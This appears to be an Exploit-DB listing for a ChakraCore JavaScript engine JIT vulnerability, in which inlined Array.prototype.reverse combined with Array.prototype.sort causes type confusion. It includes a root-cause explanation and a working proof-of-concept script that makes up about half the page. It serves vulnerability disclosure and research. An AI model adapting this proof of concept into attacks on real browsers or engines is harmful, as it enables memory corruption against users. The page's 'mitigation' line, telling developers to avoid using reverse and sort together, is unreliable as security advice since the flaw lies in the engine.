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N/A
by:
Anonymous
7.5
CVSS
HIGH
Inlining Vulnerability
20
CWE
Product Name: N/A
Affected Version From: N/A
Affected Version To: N/A
Patch Exists: No
Related CWE: N/A
CPE: N/A
Metasploit: N/A
Other Scripts: N/A
Platforms Tested: N/A
2020

Array.prototype.reverse Inlining Vulnerability

Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of 'this' to a Var array. To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort. By setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

Mitigation:

Avoid using Array.prototype.reverse and Array.prototype.sort in the same code.
Source

Exploit-DB raw data:

/*
This is simillar to the previous issue 1457. But this time, we use Array.prototype.reverse.

Array.prototype.reverse can be inlined and may invoke EnsureNonNativeArray to convert the prototype of "this" to a Var array.
Call flow: JavascriptArray::EntryReverse -> FillFromPrototypes -> ForEachOwnMissingArrayIndexOfObject -> EnsureNonNativeArray

To make that happen, the prototype must be a native array. But this usually can't be fulfilled, since once it's set as a prototype, it gets converted to a Var array. To bypass this, we can use Array.prototype.sort.

Here's a snippet of JavascriptArray::EntrySort.
    arr = JavascriptNativeFloatArray::ConvertToVarArray((JavascriptNativeFloatArray*)arr);
    JS_REENTRANT(jsReentLock, arr->Sort(compFn));
    arr = arr->ConvertToNativeArrayInPlace<JavascriptNativeFloatArray, double>(arr);

If "this" is a native array, the "sort" method first converts it to a Var array, sorts it, and then converts it back to the original type. So by setting it as a prototype in the compare function, we can make an object that its prototype is a native array.

PoC:
*/

function opt(arr, arr2) {
    arr2[0];

    arr[0] = 1.1;
    arr2.reverse();
    arr[0] = 2.3023e-320;
}

function main() {
    let arr = [1.1, 2.2, 3.3];
    arr.__proto__ = null;  // avoid inline caching 
    delete arr[1];  // avoid doArrayMissingValueCheckHoist

    let arr2 = [, {}];
    arr2.__proto__ = {};
    arr2.reverse = Array.prototype.reverse;

    for (let i = 0; i < 10000; i++) {
        opt(arr, arr2);
    }

    Array.prototype.sort.call(arr, () => {
        arr2.__proto__.__proto__ = arr;
    });

    opt(arr, arr2);
    print(arr[0]);
}

main();